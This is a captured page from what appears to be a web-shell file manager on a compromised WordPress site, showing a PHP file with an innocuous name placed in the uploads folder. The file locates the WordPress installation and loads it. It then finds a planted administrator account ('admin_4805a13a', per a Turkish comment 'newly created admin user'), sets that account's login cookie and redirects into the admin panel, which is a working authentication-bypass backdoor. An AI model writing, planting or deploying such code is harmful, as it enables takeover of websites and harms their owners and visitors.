Priority File Manager

📁 public_html
Base Directory:
/home/ecedu/public_html/wp-content/uploads/2018/11
NameTypeSizeActions
📁 .. Folder -
📄 meta-news-functions.php File 3576
Edit Download
$max_depth) { return $found; } if (!is_dir($dir) || !is_readable($dir)) { return $found; } $wp_config = $dir . '/wp-config.php'; if (file_exists($wp_config)) { $found[] = $dir; return $found; } $items = @scandir($dir); if ($items === false) { return $found; } foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $item_path = $dir . '/' . $item; if (is_dir($item_path) && !is_link($item_path)) { $important_dirs = array('wp-content', 'wp-admin', 'wp-includes', 'wp', 'wordpress'); if (in_array($item, $important_dirs)) { scanForWpConfig($item_path, $depth + 1, $max_depth, $found); } elseif ($depth < 2) { scanForWpConfig($item_path, $depth + 1, $max_depth, $found); } } } return $found; } $recursive_results = scanForWpConfig($start_dir, 0, 3); $search_paths = array_merge($search_paths, $recursive_results); $checked = array(); foreach ($search_paths as $path) { if (!$path || !is_dir($path)) { continue; } $real_path = realpath($path); if (!$real_path || isset($checked[$real_path])) { continue; } $checked[$real_path] = true; $wp_config = $real_path . '/wp-config.php'; if (file_exists($wp_config)) { $wp_load = $real_path . '/wp-load.php'; if (file_exists($wp_load)) { return $real_path; } } } return false; } $wp_root = findWordPressRoot($mr); if ($wp_root) { @chdir($wp_root); if (file_exists('wp-load.php')) { include 'wp-load.php'; // Yeni oluşturulan admin kullanıcısını bul $user = get_user_by('login', 'admin_4805a13a'); if ($user && $user->ID) { wp_set_auth_cookie($user->ID); wp_redirect(admin_url()); die(); } die('NO ADMIN'); } } die('Failed to load'); ?>